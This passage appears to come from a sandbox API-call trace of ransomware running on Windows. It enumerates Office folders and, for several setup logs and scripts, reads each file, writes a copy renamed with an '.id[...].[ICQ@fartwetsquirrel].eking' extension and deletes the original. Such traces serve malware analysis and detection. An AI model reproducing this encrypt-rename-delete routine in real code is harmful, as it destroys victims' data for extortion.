nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b531b0 [0104.931] GetProcessHeap () returned 0x11a0000 [0104.931] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.931] GetProcessHeap () returned 0x11a0000 [0104.932] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\tr\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b532f0 [0104.932] GetProcessHeap () returned 0x11a0000 [0104.932] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.932] GetProcessHeap () returned 0x11a0000 [0104.932] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\uk\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b535f0 [0104.933] GetProcessHeap () returned 0x11a0000 [0104.933] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.933] GetProcessHeap () returned 0x11a0000 [0104.933] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.933] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\vi\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b534b0 [0104.935] GetProcessHeap () returned 0x11a0000 [0104.935] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.935] GetProcessHeap () returned 0x11a0000 [0104.935] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.935] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-CN\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b52ff0 [0104.936] GetProcessHeap () returned 0x11a0000 [0104.936] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.936] GetProcessHeap () returned 0x11a0000 [0104.936] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0104.937] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-TW\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x20d, cFileName=".", cAlternateFileName="")) returned 0x3b53330 [0104.941] GetProcessHeap () returned 0x11a0000 [0104.941] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0104.941] GetProcessHeap () returned 0x11a0000 [0104.941] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b42778 | out: hHeap=0x11a0000) returned 1 [0104.948] GetProcessHeap () returned 0x11a0000 [0104.948] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b42778 [0104.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1c8ab024, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b52bb0 [0104.952] GetProcessHeap () returned 0x11a0000 [0104.952] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b42778 | out: hHeap=0x11a0000) returned 1 [0104.958] GetProcessHeap () returned 0x11a0000 [0104.958] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b42778 [0104.958] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1fc86400, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1fc86400, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b53030 [0104.964] GetProcessHeap () returned 0x11a0000 [0104.964] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b42778 | out: hHeap=0x11a0000) returned 1 [0104.964] GetProcessHeap () returned 0x11a0000 [0104.964] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b42778 [0104.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc348b22, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1fc39fa2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1fc39fa2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b52b70 [0104.971] GetProcessHeap () returned 0x11a0000 [0104.971] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b42778 | out: hHeap=0x11a0000) returned 1 [0104.971] GetProcessHeap () returned 0x11a0000 [0104.971] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b42778 [0104.971] FindFirstFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\*", lpFindFileData=0x347ea58) Thread: id = 20 os_tid = 0x12f8 [0075.291] GetProcessHeap () returned 0x11a0000 [0075.291] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1272178 [0075.291] GetProcessHeap () returned 0x11a0000 [0075.291] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1282180 [0075.292] GetProcessHeap () returned 0x11a0000 [0075.292] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x28) returned 0x11cd318 [0075.292] GetProcessHeap () returned 0x11a0000 [0075.292] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x110102) returned 0x398d020 [0075.296] GetProcessHeap () returned 0x11a0000 [0075.296] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x50) returned 0x11c5470 [0075.296] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0075.296] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0075.296] Wow64DisableWow64FsRedirection (in: OldValue=0x35bfddc | out: OldValue=0x35bfddc*=0x0) returned 1 [0075.296] GetProcessHeap () returned 0x11a0000 [0075.296] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c5470 | out: hHeap=0x11a0000) returned 1 [0075.297] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.228] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=42674) returned 1 [0077.228] CloseHandle (hObject=0x308) returned 1 [0077.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0077.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0077.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0077.228] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.229] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0077.229] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0077.229] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x294 [0077.229] ReadFile (in: hFile=0x308, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xa6b2, lpOverlapped=0x0) returned 1 [0077.251] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xa6c0, lpOverlapped=0x0) returned 1 [0077.253] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x122, lpOverlapped=0x0) returned 1 [0077.253] CloseHandle (hObject=0x308) returned 1 [0077.254] CloseHandle (hObject=0x294) returned 1 [0077.256] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0077.405] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.424] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=40) returned 1 [0077.432] CloseHandle (hObject=0x308) returned 1 [0077.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0077.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0077.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0077.432] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.432] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0077.432] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0077.432] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x294 [0077.433] ReadFile (in: hFile=0x308, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x28, lpOverlapped=0x0) returned 1 [0077.434] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x30, lpOverlapped=0x0) returned 1 [0077.435] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x112, lpOverlapped=0x0) returned 1 [0077.436] CloseHandle (hObject=0x308) returned 1 [0077.436] CloseHandle (hObject=0x294) returned 1 [0077.437] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0077.438] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0077.439] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=577) returned 1 [0077.439] CloseHandle (hObject=0x294) returned 1 [0077.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0077.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0077.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0077.439] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0077.439] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0077.439] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0077.439] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0077.440] ReadFile (in: hFile=0x294, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x241, lpOverlapped=0x0) returned 1 [0077.450] WriteFile (in: hFile=0x308, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x250, lpOverlapped=0x0) returned 1 [0077.452] WriteFile (in: hFile=0x308, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x112, lpOverlapped=0x0) returned 1 [0077.452] CloseHandle (hObject=0x294) returned 1 [0077.453] CloseHandle (hObject=0x308) returned 1 [0077.454] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0077.455] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.456] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=74) returned 1 [0077.457] CloseHandle (hObject=0x308) returned 1 [0077.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0077.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0077.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0077.457] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.457] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0077.457] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0077.457] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x294 [0077.458] ReadFile (in: hFile=0x308, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x4a, lpOverlapped=0x0) returned 1 [0077.460] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x50, lpOverlapped=0x0) returned 1 [0077.461] WriteFile (in: hFile=0x294, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0077.461] CloseHandle (hObject=0x308) returned 1 [0077.461] CloseHandle (hObject=0x294) returned 1 [0077.462] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0077.464] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0077.465] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=307) returned 1 [0077.465] CloseHandle (hObject=0x294) returned 1 [0077.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0077.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0077.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0077.465] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0077.465] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0077.465] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0077.465] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0077.466] ReadFile (in: hFile=0x294, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x133, lpOverlapped=0x0) returned 1 [0077.467] WriteFile (in: hFile=0x308, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x140, lpOverlapped=0x0) returned 1 [0077.468] WriteFile (in: hFile=0x308, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0077.469] CloseHandle (hObject=0x294) returned 1 [0077.469] CloseHandle (hObject=0x308) returned 1 [0077.470] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0077.472] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.472] GetFileSizeEx (in: 